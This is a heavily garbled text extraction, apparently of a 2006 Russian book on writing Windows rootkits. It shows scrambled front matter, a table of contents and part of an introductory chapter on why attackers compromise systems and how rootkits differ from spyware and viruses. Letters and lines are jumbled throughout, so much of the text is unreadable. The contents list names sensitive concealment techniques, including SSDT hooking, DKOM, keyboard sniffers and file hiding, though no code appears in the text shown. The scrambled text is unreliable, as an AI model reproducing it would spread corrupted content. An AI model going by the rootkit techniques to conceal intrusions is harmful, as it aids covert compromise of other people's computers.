255 49 32MB
Russian Pages 295 Year 2006
ретык
J п о
д W i n d o w s
Теори
я и п р а кт и к
а п р о гр а м м и р о в а н и
я
"ша п о к н е в и ди м о к" п о зв о л я ю щ и данны е
, х с кр ы в а т
, п р о ц е с с ы
, с е т е в ы
ь о т с и с те м е соединени
ы я
в е сл т ь а д з и
о
КНЧИЕС Л КО
О Д . Н .
ROOTKITS оп Т ЕО Р И
Я И Т П Р ИК А " Ш А П О К Н Е В И ДМ О "К П ОВЗ ЛЯ ЮЩ И
д W I N D O W S
А П Р О ГР А М И Р О В А Н И , Х РЫ ВАТ СК
АНДЫЕ
Ь О Т СИ ТЕМ , Я
, П Р О Ц Е С Ы Е ИН Е С О Д
СЕТ ВЫ
К НА У
Я
А И Т ЕХ АНИК
, С А Т Н К П ЕТ Р Б РУ
2 0 0 6
Ы
Г
о Кл и с н и ч е н о к Д
. Н .
Rootkits оп имд "ок , пвоз ил щяю с ои ен д я
д Windows. ироеТ я и т к и а рп а рам п ог иров ан х ры в ск ат ь о т си т ем ы адн ы е . бПС. : Нкуа а и Та кинхе , 2006. 320 с : ли
я "шапок нев и , п р о це с ы
, сет в ы
е
.
ISBN 5943872663 и реС
я «Сте р ке
ы мав тсре а
»
и к туР т эт о проагм м а ли лв з о м а н о й с и с те м ы . Н а пмор лфат ит к у р ы перхвыат ю т сисетм ны и м код м и да н ы м и . Блоадрг в си т у е в с и ет м е п о с тр н и е ч й ер с т а и т . .п , выуапст ш аипк не в ид м и к . О пи с а н н а дан С л ущ ю е д и м о н ч иг с л е н ы иг . ниг К и сп а т е и р н ст на т у з
ю рныти ку я кнаиг е вл а г
х техноли г . В перво ы о н за м к я е п ри м е р
и анб о
р пр а о м г м л д я рсы к от г о и я вт з я п о д о лр н т к ь е Windows сры ноктс ь об еспчиваест я те м , чт о е фци унк и и сурт к ы даны х , подм еня я и х с в о я эот й помд ен , ри кут т ме ож т зам аиросвк т ь при х п ро ц е с о в , лайов ф , евыст х с о е ди н е и й , л юк я и а тк м о б ра з м в рол и с в о е б р а н зо й п роа гм м н о й
й и праомг иров ани е книг и рас м оертн т л е т а ич я с п ир н ц а м ы о да к , ил уирющст и
ю роит ку
й гвла
а расчнит а н а проагм м исот в средн г ь н а C/C++ и зомнак ы х с основам а тж ак е всем , кт о хоче т росабзьрт ь болшь е о вномсязт ож х е е вл омз
о ноелскь и абр от е л а рз ич н ы о уоврн
в как о поупл няыр ы а и т кур е н ы ит к ур
я потдгв л ен осит о п роа гм м и ро в а н и я
и с е вт о г я в особ ен яст
о h п \ 1 ' У 7 > !• } I
й сай ® Д Н Кокнечи сл
I S B N 5 9 4 3 8 7 2 6 6 3 ©Наук
а и Ткинхе
з и посв ящ е х роивт ку . ивПренд е е х тн о л
.
:
т www.nit.com.ru о а (оирнгал м еа)тк
. ы
, ум ещю и х . нО а ебду т ы О С Windows,
х абр от
а и защ ыит
н ы т а ко К е тно леф ы е а д л т и вз с ь (812) 5676025, 5677026 (044) 5163866, 5592740 аы л н и ц ь О ф
ра
, 2006
А Н Е РИС Ж О Д ГЛАВ
А 1.ВО Л З
М СКЧОТ
1.1. КТ
О И ЗАЧЕ
1.2. ТЧ
О ТО КА
1.3. Ч Е
М Н Е ЯТСЯВЛЕ
И И Н ЗЕ Р
Я ЕР К Е КР
М ВАЫЛМЗВ Е
Т ЗТИ АЩ
Е РИ ТК У
А У
11 12
Й СРЫ Т К
Т
14
Й КО Д Э Т
О И Т К РУ
1.5. АРПОТН ЫНМРАОПГ
Т
Е ТИ ТК РУ
е сер ф ин
я
ы
26
1.6.1. Сам ы
е пулыопняр
1.6.2. Общ и
е пинрцп
1.6.3. Ри к ут
т Hacker Defender
М С ТК Ч О
2 . 1 . ТКИ РПОАЛФ
е рит ку
ы
ы работ
И И Н ЗЕ Р
22
25
Ы
А 2.ВО Л З
ы рит ку
26 а
27 30
Р О Т А Р Я Т МИНИС АД
А
33
А
34
2.1.1. Садноиз
е уночет
2.1.2. Уановскт
а аивнтурс
2.1.3. Уановскт
а барнмд ауэр
й запис
и об ы чног
о повлезать
я
35
а
36 а
38
Е
43
А ОИНЕ Ж АБРНУ
а л н оЛ ы ьк ве ы т С 2.4. ДЕТОР КТЕ
я аилтр е
24
е сер ф ин
1.6. ЗНОА МЬК Т ЕС Ь ИРТ УК
ы ела жя т
ы
1.5.3. Клануыврит
2.3. СТВ Д ЕСР
22
е т и к ут р
1.5.2. Свеыт
2.2. ИЧНЕЛ
18
Ы
1.5.1. Апанротармопг ны
ГЛАВ
9
Т Я РИ ТК У
1.4. Н Е ВИ СЯ К
Е
Я ТОИ ТК РУ
В
е сисетм
ы оени б аурж
е сисетм
Ы ТОИ ТК РУ
ы оени б наурж
44
я вени отрж
я
я вени ожрт
45
я
45
В
46
Black Light RootkitRevealer П о л ны е з
е ули т
48 49 ы
http://www.invisiblethings.org VICE: санке р рныти ку х техноли г ProcessGuard и AntiHook: пиклт ораф
49 й а вени отрж
я
52 53 55
3
RootKits Дл ГЛАВ
я крим инал исотв
А 3.ПН Е М Д О
: EnCase и Tripwire
А КА
3 . 1 . НЕМ ОПД
А Д КО
К ОА Р Б
З Н З И Ж
я исходн г
ь адрес
3.2.2. Перзапис
ь само
Е КО Д
А РТ И ТК У
66
и
Й ПС Е РОЦ
66
С
69
69 й Windows
е потк
70
и
73
У
74
3.4.1. А т а л и эт о фция унк
?
76
3.4.2. Кду
?
80
а ввоарзщ сяьат
Т И РИ ТК У
Т РА Ю Г И
Т ВСТЕМ
а ит к у р
3.5.2. Запу с
Е
84
а н а уалдыне
к рит ку
3.5.3. НТ
й ком еюпьт
а н а уадл ено
И М А Ц И ТЛ Б А
Ы ПСОРЕ Ц
й ри е ж
?
87
И
93 95
м
а щ З ищ е н ы
Ь КОЛЕ
85
А
ы н л а еьР у а л тВ н ы и р ь и Реж
84
е
: чт о эт о тоеак
О С МЫ Н М Е СТ С И Ы РТОБА
р
м ком еюпьтр
А (HTMLпенирл)ож
А 4. З ВТС МО КА Н
95
й и ре ж
м
й и реж
м о уарвпл ени
м с ис ет м но г
96 96 97
я
Ц
Д В ЗНЕЫ ИЩ А Щ
97 Й И Р ЕЖ
Я АЯП М Т
4.4.1. Введни 4.4.2. Десрик п то 4
й функци
т со б щ ени
3.5.1. Заругкз
4.4. И АЦЗИОНРГ
и
ч Applnit_DLLs
Г «Н А ЛТЕ
3.5. С ПЛЭОКЙ
4.3. РХЕПО
63
а функци
А В ЧО Ж У
3.3.3. Улаынед
4.2. ТСАЛВ
60
Я
3.2.1. Перзапис
3.3.2. ехваПр
4 . 1 . ИМ Р ЖЕ
а
61
Е ПОЬЛВАЗТЕ
3.3.1. л ю К
ГЛАВ
о код
г
Т Н А УРОВН
3.4. Н ЧИТА П
59 60
3.1.2. Пчиант
3.3. ИНРЕ ДВЕН
А
А
3.1.1. аМциокдф
3.2. АВХ ЕР П
И ИТ К РТ У
56
М
98
И В ЗЕН О ИЩ А Щ
е в смег нут р смег нт
М МИ Р Ж Е
ю оанргизц а
Е
99
ю пам ят
и
99 101
а н и С о д е рж 4.4.3. Тбалци
ы дерсипкот
в
а GDT
103
баТ л ц и
а LDT
104
я аердсаци
4.4.5. Калт ог
я
и и табл ци ы даны х
у р т кС В ы ч ис л е н а пЗ и с
А SSDT
4.7. ИНЧЕРАОГ
Е ДОП СТУ
е сратнич о о аердс
а
Й (ЮТ
й
107 107 108 110
Е
А К НОТРЫ КЕ
Е ФИ Ц НК У
)
И ЯР Д
М ЫН ВАЖ
112
М ТА ЦБИЛ
и е досутп
4.8.3. Уаврпл ени
116
а к флйа
е пам ьят
4.8.4. Об еспч ни
м
ю
118 119
е б еозпасн т
и
Й Е В Й А ДР
114 115
е процес ам
М Ы В ПЕР
М
А О С
4.8.2. Пеаордвстл ни
А 5. ПЕ Ш И
й адресацие
114
4.8.1. аврплУени
ГЛАВ
ц
В Ы Р И В АЕ Н П
4.6. Р ТУ К СТРУ
105
ы сратни , уарпвл яющ и
е физчеосгк и PDE и РТ
А ДЕРТПИО СК
4.8. ИШЙЕН ВАЖ
103
б а л цТ и 4.4.4. Санричт
4.5. ТЦ ИЛБА
е
119
Р
121
5 . 1 . DDK (DRIVER DEVELOPMENT KIT)
123
5.2. ФАЛЙ
124
Ы SOURCES И MAKEFILE
5.3. СБОРК
А ДРРВЕАЙ
5.4. КА ОТАЛД
. УТИЛ
5.5. КЗ РАУГ
А ДРРВЕАЙ
5.6. Т Е КА П 5.7. МСХЕ
ГЛАВ
Ы ЗРОАСП
А DEBUGVIEW
126 126
А А/В ОД ВЫ ОД
А ДВРОВХЕНУГ
О Т И КТ УР
Т Н А Н В УРО
А
135
А
141
Е Р ЯД
Т ПРЫЕ ВАИН
6.2. И Ц СКНИТРУ 6.3. РЫ ТСИОК
125
А
А 6. ПЕРА В Х Е 6 . 1 . АВХ ЕР П
А
Й (ТЦ ИАБЛ
А А ЮТ
145 )
148
Я SYSENTER Е ПСЕОР Ц
6.3.1. ащЗ ит
В (ТЦ И ЛБА
а табл ци
151 А SSDT)
ы SSDT и ри кут
152
т
153 5
RootKits 6.3.2. И з м е н е н и 6.4. РЫ ТИСОК
е SSDT
Е СИНЕ ОДЕ
Й (ТЦ ИЛБА
6.5. РВОЫЕНУГМ
А 7. ПИЕШ
А КЛА
7.4. САИПЗ
Ь ПЫН ХВАЧЕР
7.5. СБОРК
А СРЕФИН
7.6. ЫВОТ Г
О ИТА ЖА Н
Я КЛА В И
Ы
А 9. ТИ ЖРЕП
Ь КЗ АРУГЕП
Р СОСПБ
Л
185
Ы
190
В
191 У
203
Й КЗА РГ У
И РТ И КТ У
А
В
207
9 . 3 . 1 . Flashп а м я т
ь
9.3.2. Н е у д а ч н ы
1 0 . 1 . ТЫРНЕ КСЕ
. Ч т
Т ПТСЫ ВАЕИ П Р Е
ч к с е кр е т н о с т
10.2.2. О т кр ы т и
М
211 215 216
10.1.2. лК ю
10.2.1. еД с к р и п т о
?
Ы
о м ы соб ираем с
М Н А УРОНВЕ
о д е л а ть
Я С Х ОЯЗ НИ
10.1.1. Ч т
10.1.3. С кр ы в а е 10.2. И РПЕХ О Д
209
й э кс п е р и м е н т
Е КААЛН
204 205
О О BIOS
А 10. РИ ТК У
180
189
В АО СКЧАТЕВИОМ
Ы РЕ АФ ЛЙО
Ш
183
Ш В ФАЙ
Е СРЕФИН
ВА Л Г
6
178
А
Е ФАОЛЙ
ВА Л Г
177
Ы
Х АВИ КЛ
А 8. РЫ СТОИК
9.3. ОНГМЕ
В Р НУТА
Я КЛР АТУВИ
ВА Л Г
9.2. ТРЕ КСЕ
173
, ГЕ Щ Ю РОУИЛ ПТ К
Е КЛЫРН АВТИУ
9 . 1 . ОБЗ
172
Ы
О А ОТ К П А IP.P ЧИНТЕ
и
а
Р КЛР УТА ИВ
К ОЬЛЕОНГ ТД
7.3. ОБРАТК
т с д р а й в е р а м
к в ода/в ы в од
Я ФЬЛТРИ
7.2. С АЗУП
170
к Windows р а б о т а е
М С Н ИФ Е
7 . 1 . ИСТРАГЦЕ
161
Ы
6.5.2. IRP и с т е ВА Л Г
А IRP)
Е ДРРАВЙЕ
6 . 5 . 1 . аК
156
я п е р е д а в а ть
?
216
и с т е га н о гр а иф м дан ы Ь ЯРА Д
е в DNSз а п р о с а . ИЙЕРТФН
х
С TDI
р тр а н с п о р тн о г е ко н т е кс т
я
220 222
о а дре с а соединени
218
а я
224 227
10.2.3. Сывеазя
м тын тоасрп
10.2.4. Соединя м с
й аерд
Я ПОЛ РТОК Е К ЕТС
ГЛАВ
О ТО КА
234
А
237 239
Й ПОЛ РОТК
А
242
А
247
Й И К РТ У Е ГЫН БИРД
12.2. И АРЗЦЕЛ
В ГЛА
О Р Е Ф СИ Н
ы
Е
А ФИ Ц НК У
А 12. ГИ Ы Н Д ИРБ 1 2 . 1 . ТЧ
м ресур
Е Г О В Е СТ Е
А В ССИТМЕ
11.2. ОФРИМ ВАИН
232
й осдавеоб ж
С NDIS. С И НА Д ЗО
З Т Е КА П
228
и
м с о е ди н е н е
Й Е ФР ЕТ Н А 11. И
11.3. АНИЛ
я
230
я даны м
10.2.6. Заверш ае
1 1 . 1 . И СТРАЦГ Е
т соеидн
е
я
10.2.5. Об м енива м с
ГЛАВ
с и кс еконт
а н и С о д е рж
Т
251
Й РТИ ТК У Я РТИ ТК У
?
252
А
А 13. Т И ГО ЛО НХ Е
252
Я DKOM
1 3 . 1 . СТЕВ Щ УМИРПЕ
А И НКТАСО Д Е
13.2. ИНЕЛ ОРДПЕ
Е Р С ВИ Е
259 И DKOM
И WINDOWS
13.2.1. а оеПвлсктзь и рим еж
13.2.3. Сиесмт ны
а ярд й ер с т
Е ДРР ВЕАЙ Е ПСЕОР Ц
В С ПЬ О М Щ
13.5. РЫ ТИСОК
Е ДРАРВОЙЕ
В УСТРОЙ
13.6. РПОМБЕЛ
Ы С НХ И Р О А З Ц
13.7. ЧИНЕОПУЛ
Е ДООПТЛИНЬЕ Ы
р
265 А И ПОЬЛ ГВЗАТЕСК
Ю
О С Е Р О ПЦ
DKOM
266
274 276
н прив л иег
Й
279
й е прив л ег
к раб оте
А
269
В
Х И Г Р ВЕ Л П
13.7.2. Имз ен и
263 264
И
13.7.1. Те ко
13.7.4. Доб авл ени
я GetVersionEx
а
А УСТВОРЙ
13.4. РЫ ТСИОК
13.7.3. Ка
263
я APIфци унк
13.2.2. Фу нц ки
13.3. СЙЕТВИ АОЗМД
260
279 й
е п ри в л я е м г е SID в теок
281 и руиткР
н
и
285 290
7
АВ Г Л
1. ОМ ЛЗВ
С ТИ ОЧ К
ЗРЯЕНИ
ЕРА ЕК КР
КТ
О И ЗЕЧА ТЧ
О ТО КА
ЕЧ
М Н Е ЯС Т ЕЯ Л В Н Е ВИ ЯСК
М ВЫЕАВМЛ З Е РИ КТ У
Т А Щ З ИТ Т Я РИ К Т У
Й СЫТР К
Т Й КО
Д ЭТ
ОНТАРПЫНМ АР ГОРП СЕТ Ь МО КАН З
У
Е ТИ КТУР Ь ТИ КТ УР
R O O T K I T S
Ы
О РИ КТ У
Т Ы
в а Гл
1.1. КТ
О И ЗЧЕА
М ВЕЫАВМЛ З
а 1 .Влзо
Т ЗАЩТИ
и зре н и
я ре к
, н а корут а з ащ иыт ь н а е е вз лом я ц ель
ю н уж н о п р ои а т , те м боль ш е вер . Ра з челов к тра . Чт о ж е и м дви ж ет
и дО
н и з н аи б ол е е расп н о т е ы х им от в в — тэ о влоз . Обы ч н о эот т мито в движе т керок м в смао м н ач л ь ры е , кдго а керк р ещ е учист я и исполь з уе т взло м ак к свтсдер , чт о вз ламы ват в ж р е н м т у до и я . Н а эо т м эпат е ем у все рван о ме ис т у и л и серв р Microsoft. нвеГаол , чт о сиемст а е д бу т и керк р получи т о т эгот о мораль н е уневротилд—о н овс ю з н ачимоьст , нча е т в ери т ь в сво и си лы . оСрке е го е в с еб р т и мен о вша у суме тис , а н е серв р Microsoft, мопт у тма ь е е пщор е , а н ачин ю щ и й е рк р пйоед т п о пут и н аиме ь ш ег с о п р ит в л е н и я . рат Б ь «гнроа » з а вз ло м о н н ча е т п оз ж е йеп р д т н а сюуделщ у ю спунет ьк у сгево о раз в и т я .
а м ол в з
•
В от р а я и л р а е ь т н гм о (ком п ь ю тер хор ш у н и ч то ж и т
•
, н е мен
е расп ростан е н ая о в е н о з и а г д яр ж ) ест ь и н орфм ац и я о з а п л а ти ь . А може ь в аш у м уе и с т
ь терТ
я при ч н
лд
я октобар в вша
ма нча е уюСлед щ ая же о р та м и е рп о деал лсЕ в з л ом а ще ны м др у г о
и кекр
, крек ь н уж ы . п ри ч н
т ув ол ен ы м . Эт д о д ху е врем
ол г д тЧ
у суме тис
т в ы п ол н т я и п о ег о кмонаед
ил •
а вз лом и дына
т ке кр
а ил
й сме тис
а тэ о получени , н а ваш е м серв ю рк е у п о б ещ ал у в з лом а тр е б у тс .
. Наиболе
е ч аст
, боы чн т узяви мы е п р о г а ми к
о знюа ь раз н ы
о с и е мт н ы м
ь в сиемст е взамол
р вз ламы ве т вша у смеитс у толь к в суме тис , о н н а эот м и оанст овия е рпа у ра з и сопкируе т к сбе е файлрдугой , чт о взло м у да л с я , плсо е чге о зедбуа й с и те м ы . А мож е т б ы ть , ощ ути
? Эт о рда
т и м от
о з ваис и вз лома т бы ьт
сиемст , поз вюля щ и .
ы и муго
т о т ег о мивто
, то , сорек е вгоес , о н з айед т в симетс , бочт ы д оа кз т ь б е с е боп д т о ва с и перлкю ч ист я н а ак т в в л а с ть , о н у с т п и т соб лаз н
. Мжое
е е и я ы я и
в дви
и а мд и н р с а т е амест
о пвриостуа е плсо
о эот
ь ?
м дар и е ег о ка о са ь — вша у в з л ом ан а ос з н ае т , о н вы чт о вз ло о , гдок а
е ресур о в вшеа й сметис я ак а т и дгури х смеитс . В з ло т н а н е е пумагро , ортак я сраз у ж е посл е ау нс т о в к
и дл
у дей свти
а — тэ о мьтсе
и р н у дс о т и а м к и лю д и олитчн м уа сн т о в и я н зенмат
р в вшае
, п ри ч н . В оз м ж н о , з а октру т б ы ьт , з ак з ч и к , удали в вс е дан ы е
а — ивноиальзпс х ккре р уанст вли ае е ем
а
У
В оз л м ме ис т ы — тэ о н е очне ь леагк я зч а д ов д л ь н о мнго о времн и . И че м сьрезн е смеитс н ем и (и , воз мжн о , свресдт ) н ужн о пирато ит т вмеря , ден ь ги , з н чаит , у нге о етс ь опредлн а во ка К ы ег о миотвы ? •
м с точ к
т е и м . , у и у 11
RootKits
в ан д ли з м а н и я е св ыр е буд
: зчохае
П рон и к ов ен и го т э лсЕ
и ер к е вгоес
у н уж , о н сопкируе св и ел ь т д а вс гео бы л а в з л ом ан . аПврд н е з н ая , т ч о и мен п ир в тсе и к таик м ж
еро кс
ь с смоеитс х в ан л и д з
й чт о унгдо о вплот м и п дох р т с о вмерн ь смеитс ы д о сома й сиарост
е в сиемст у н ча и ю щ ге , н е беспояк ь ообс й ра з о н н е сему
о н ужн о ы в слуеюд щ и
б о чт
т ес лд а т . У ныротке ь и ун ичожта
х дан ы х т вз ламы ват
а и он р м а ц ф и я
о ер к ь блоьш
, уедлит л в л ом и ь т ся
а легк е вн и ман и
ь д о ун и чотж е , а нотек .
о обн аруж иьт
. лсПо
е ,
я б ез оп асн и т
.
, хранщя са
я н а шв а е м мо п к ь ю ер т , от , я «зтсмеа и сыдел » — ун и чотж и ь , бочт ы в ы н е о дг а л и с ь , чт о меист а е н е обос о квали цф рован ы е еры к , т л на е д у и ю , итсюар т с в е д п р яо , чт о мжое т , ка к акат а ван лд .
т е е и пстеаро о п р и в с ту я , ыротнке о п л еж од и е пвосмлиетдя
лсЕ и вз ломщ и к з ахвит т рсруе ны х , т о прои з водиелть н ост ж ео м т серь з н о умен ь ш иьтся е кр р мжое т и п о з азк у ш ва г е х квоинлет в ть лс о н д е о у вша и of Service, и л и акот з в обслуж и ван и ) с т е я п р о у сн к а я пс бо н т с т е а жд о р п я гн м о о лиш н и х пвосцер В оз м ж н а и п о те р я да н ы х п о н а дб и с т я Reset.
ы вша е
й смеитс
ы дл я н а ол д
я обкраот ю в ша и
и в си о х дан , прищхоядса х п ри л ож ен и й , . Сн из т ь прои з вделть н ост ь вш а е й симетс ы о конурект а н априме , с ц леь ю в ы з в ат ь . Ти ка е ака т и нзаыювс т я DOSаамкт и (Denial . бОы чн о пр и DOSаатк е ум ен ь ш а ь и тес , увелич всает я н аг руз к а н а п роц ес , , чт о вы з еав т нк тавхе у и т ямп а , и т . п . , есл и дл я п ри в ед н и я с и ет м ы «в ч увсто »
С друго й сорнты , вша и рсруе ы муго т пон бадиьтс я в з л ом щ и к у дл я обсе п че н и я ан о и мн оист : с вша е й смеитс ы и о т вша ге о имен и о н беду т вз ламы тва ь други е сиесмты . В эот м слчуа е ва м ортнке е в рем я н ичег о н е гзорит м о пт у ч т о керк у н уж а осп раб т н я ис ме а т . Наедю сь , в ы псуте об н аруж и т ь ег о привстуе , пко а н е случиос ь н еп о рав и м г о . лсЕ п щ о р ь т ас
и керок
1.2. ЧТ
м дви ж е я с о своим
О ТО КА
Е РИ КТ У
бо т Ч ы об есп ч и т в ы в з л ом а и , ав м (backdoor). Н о есл ге о компь ю ет р (и л н ы л и тиак е уитл ы тва ь суме тис . Зн ач и т 12
ь — знчаит .
т мтсе и дан ы ми
, в боль ш инвст
е случаев
, может
, е рас
Т
ь б е с е в оз м ж н ост н уж о ан уст ов и и поль з овеалт ь (амди н рсоат и с ье т ) вз ломан , о , т о еьтс , н е плождреа , backdoor долже
ь п орн в т ь а т м тил у н н лнмед н бы т
о з ай т
и в у м е ти с
, уротк
у г о тык рс
р си сетмы о п ив ро е т т л и з лоумы ш лен и ь «н евидомйк»
о ин в е л а рп у ) з аподз рит , н е уаснт овле к и сп ол ь з о .
ю я , чт о
в а Гл
В Инерт п о рн ул я ы оч ат н с чик у н ц фк и й мн о з аб в ы Дл а м г р по н и ч ге
п о л ь з в е ла т и ка т чит об н аруж е и аж К д у н фцк и В жа н йе ш и ю щи ка о й л и б р е с та ) тса Ч
м с точк
и зре ни
я ер к
а
е можн о н ай т и мн ожвест о backdoorуитл т (н аз ову , к пурием , е NetBUS и Back Orifice), н о боль ш ин вст о и з н и х н е умюе т до о шор х о сркы ват ь в со е п р и в с т у е . К том у ж е м н ог и е раз б от и backdoor'oB сарют с я добавит ь в сво и пгмоар ы ак к можн о блоьш е , з ачуст ю н еп о т я о зчае м н уж ы х . уН , н апри ме , з аче м серь з у ер к у у н ф кц и я ид ан ст ц и он г о р о кы т и я л о кт а CDROM? дРа и ? Да , можн о п ш до и ту ь на д колегам и н а е раб от , н о н е боле е го т . я е с п и р о фн а л ь о й ка т и а в м н жу а п е с р ио ф н а л ь н а я п рог ам а — , ортак я в ы п ол н е я т о л ть к о н д о у у н ф цк и ю и боль ш е н е е лд а т о ли ш н его . Пмон иет , че м пщор е смаеитс , те м он а н аеджн .
и лт У а р ыс к о г т ч и сл е дл я ан итв русн ы и т я в и т с у и рп (rootkit). ин м р е Т
а 1 .Влзо
о управлен и
я м по ь к ю р е т х свтсдер
я в м е ти с
у «rootkit» ус л е бело ь с н аивы сш им м бозар м , rootkit тэ ь п олн ы й ко н т р о л ь на .
м до л ж н , нечыаз дпр о ак од
. Свтас дер е н г о е р т сп е дт ясе и п ол н м ч и я о н ба о д в з лом ан о
и лте
, ст ывюзан
р п мг ао р
а в сватсо е риукт а вы полне я е о т backdoorпрогам м ю л г об о и рк у т е п р ви с т у е в меис т е вж тре ы нор п тс ге о backdoorп рог ам ы ) , дан ы , пцорсе в и т . п . е н е л аы д у е п а е к от е и к тр у
т свои , в орытк а в я л ю тс х (фай л о в
, ч ект о оп редл н ы х м н го о н е уж н ог я п рог ам ы , рыск ва о док а (н ап ри ме , до к , кат л ог в , лкю ч е
й у тсо д п к пмьоюкурет втжре в в с е ит , такж е в х о дя о в сватсо а у дб т сватсдер , «приык ваю щ ие ц елом : файл ы и клагоит , корты е в ы уакж ет н е огран ич ваю ст я ы т с по р м ры сок и т е м а йф л о т м ож е т ср кы в а т ь л юк ч и ра е ст , сетвы , т о тсе ь делат есв , чбот ы а дм и н с р т а о о привстуе .
Я н е уч о х , бочт ы у ав с с л о ж и ч т о и р ку т ы и сп ол ь з ую с т я о лт ь к Р у и кт т эт о всег о ли ш ь те х н о л г и я «плохие» , ат к и «хшор и»е . мпонКет н е олти ч аю ст я о т благоприйстн ы сл уж а т дл я удален ог о доуспт а в
ь в п еч л н ат и о дл я сов ерш н и , котру х п гор ма сиемуст
а в то м е дл я скоыр я м а тк и у р и
л и з мир а Unix, гд е root тэ о ; kit тэ о н або р и н рс ут м е о в , , поз вюля щ и х ер к у п ол у й с и ет м о й и п р е д о тв р а ти ь сво е
, в лоитч м ом п к н е т
, оюачивепсщб и п рослуш и в ан и
ь н ев и д м
. О н пишр е
я пгорма
о ы м а р г о п (backdoor) и л ри у к т а . Озбяаетль н све ь рикут т в цки и рикту а хор ш и й р у и кт рда й в е ы ру ос йт в бо н жура и л ег
а бы т
е . а й
е в » о фун : , ы н е
т в с о ат . Обы ч н в и проц есв е с о е ди н е и я р си ем т
, чт о риукт т тэ о плох , я н е з ао кн ы х де й с в т и . ю м ог у т и сп оль з ов ат ь ка к ы и рк у т а п о у н ф цк и о н а л ь н о с т и : ssh и telnet, ак к и backdoor, ; сн еирф ы (сетв ы е м о н и то р ы ) 13
RootKits
ч тса
о и споль з ую ст и дл я а н л и з
ма т
я ве ы т с м а о пв е т а к ь и х даж е дл
и сп ол ь з в ат Р и ку т н ав л и ю р с у он д т и в к м по ь к ю р е т
ы в с в о б е нт т н а раб оч и , а з ап нд ы ы п оз д рев а м ы
1.3. ЕЧ
М Н Е ЯСТЯЕ ЛВ
ер П н ит
д тме ь себ
и амдин оратс и и свеыт м и п рог ам и с , мыевадпр х п о и тес . мАдин оратс я бьрбо ы с кмареик ! м см ы л е ыро н т ке е о р кп а ц и и сп ец и ал ь н е ан ст ц и и евос й и тес , бочт ы о кн р т л и о в а т е п рав о х н и ел ь т ы е гн ра о ы и сп ец л уж б х в пурпестлн хия .
Я РИ КТ У
, ка к при успт , че м о н н е явлеятс и в он ред с ы
м и вмиад
у о тмо , чт о тоак е рикту м о сватсдох х рикоут м и олти ч я х о т них .
Воп ерв ы х , РУ ТИК Т Т Э О Н Е ПИОШН (spyware) н аз ы ваест я такя , карот я з аписы вае оре т м п о л ь з в е ал т ь : чт о о н видо т с клавиурт и ка е п ри лож ен и я з апеуск т и т . п . Пирмое же т послуж и т ь hookdump. В пндлесо м а грпо п ол ь з ве ат л о ж е н их я си ем т
о а уст ь ив ос х ы н а
Т
ь к рзагвор . Пирвго х м а г пр о
т
ы уг о м
е врем я угроз а ш пинокс х пмагро ы еб з вмоде а поль з велат я сбиюоар м Webсрантиц ах , о б уанстовле н ы , о ег о ли ч н ы х дан ы х (н априме ) и оптравюля т св е эт о тьтер й снорет
, н ужн в с из внест ы
. Ш п и он ско й п рог ам о т вес , чт о дела т з а компь ю ы (в от м числ е и п ароли ) м пгмоар ы тогак о клас м слат т и о рн м а ц ф и
а очне
ь ауатлкь н а ю о пщесо мыа
х н а г е о мо п к ь ю ре т и эрлотнек ы
, клю ч
о уся
й , а мо . Эт е п ри
х п еж л ат н ы
и х х
.
Ш п и он ы муго т тажк е и з ментя ь ттске ы пвыочт х собщ ен ий , файл ы н а ж ес окт м диск е и даж е коиртеква ь снартиц ы , вы виодмы е брауз еом . Кмор е го т , раз н острн я я делтьян ост ь spyware онтимае т мнго о сиемнст ы х ре сур ов , чт о сн и ж ае т п р о и з в д е л ть н о с ь ом п к ь ю ера т . Обы ч н о ш п и он ск е м а рг о п ы ингиерюут с я с Webбмазруе и ил и пмгаоирмачблок и (врод е Провнд и к а Windows), чт о делат слжон ы м и х уадлен и е и з сиемыст . ол ь ш Б е г ев с о spyware н аписн о дл я зубаре а Internet Explorer, мотпэ у я у т ве о с ю ва м смен и т ь брауз е р н а Opera ил и Mozilla. Р а з р б чо т и к м а гп р о едй в с т и ит и тогак
и и р ку от , и совремн ы я п о л ь з о в аетл я о п роткли ван и
оВ ыврхот тс дер
, РУИТК в об н аруж ен и : моди факц и
русов 14
в в осп л ь з ов а и с ь н ма к дох и ор ав т е и к р ут ы ю ем у т в то м числ е и п р о л тк и в а . Н о и х онсво е н аз ч ен и е н е в эомт я и дгиур х вжабренды х дейвсти Т Т Э я (ан ит в русов) ю с и е мт н ы
О Н Е У ИР С В
, хот , и споль з у
х а тб л и ц
, птамя
я о н и муе я л а кс и ч е и и п рог ам н о
в ш п и он ск , а в срыок
х ь
. т п аьт р я с е д о т ем
я о т ы ви й лог и к .
в а Гл
В оич л т е о т восуир в тмо , т ч о вуир ук , умвишеонатс т с о пр о пеагом е ж т в к о ле ч , по д г кои н а эгот о н
в ртик у
ы н е рястюамнзжо ю н е м ов а т . суриВ ы н чы б о у осьта м горкт .
с ь т с он л п у ег о т вкищмол з д е л о р тн к е слтеа д
а 1 .Влзо
, ки т у р о ю а д пв о ж е р я ннеычмаз о си т д о н х а
м с точк
и зрени
я ер к
. Друго е оичлт е сиотс т ж е и ч н с я т е дп о я чл е в о т на ые д , кит у р т ж . Утил а д ь дына е мо я тк и у р , ас м ж е кит у р
а
т е т
О С Windows счиалтс ь рндасоик м в и осур , н о с пволяен и м в 1996 гдо у и с р ве и Windows NT 4.0 вс е из мен илось . П о сравн е и ю с Windows 95, в эот й по царе и н о й меис т е и з м ен и л ас ь л е д ом ь питамя : обы чн ы е п о л ь з о в ае тл ь икс е пмагро ы блоьш е н е млго и миоцдф рват ь сиемстн ы е табли ц ы . П а т о вмер я н е бы л о вирусов , снбоспы х з а п ь ут с к я в Windows NT, д а и сей сча , блгардо я улучш ен о й смеитс е бзепонсаит , вирусо в по д Windows NT з н м та е о мне ьш е , че м по д Windows 9x, гд е он и птсор о киш та . Р еш н и я , исполь з ван ы е в NT4, усоверш н встоали ь и п е ор ч к в а л и в Windows XP, но , льаскнопдры м з аб ро м , оликчвест о в и русо , н аписн ны х по д Р Х , увели ч лось . Дел о в тмо , чт о Windows XP расчинт а н е н а е с и п ор н ф а л в , а н а дмшоа н и х поль з вейат . Больш и н свт о и х пносят о ю а тб о р т по д унчтео й зпаиьс ю амдин оратс , прен бга я р те б о в а н и м я и б зе по нса и т , соглан о ыро т к м о т и н ем и а м д и н р со а т а м ож н о в ы п ол тн я ь толь к о тиак е дей свти я , дл я ырот к х н е хавет т п ол н м ч и й о дв г р я о п о л ь з о в аетл я : и з мен и е о к ни г ф у р а ц и и си ем т ы (н ап ри м ер , усатн овк а у ср то й в ) , уанст овк а м а гп р о , нйортсак а сте и и т . п . бы О ч н а н о д ве с 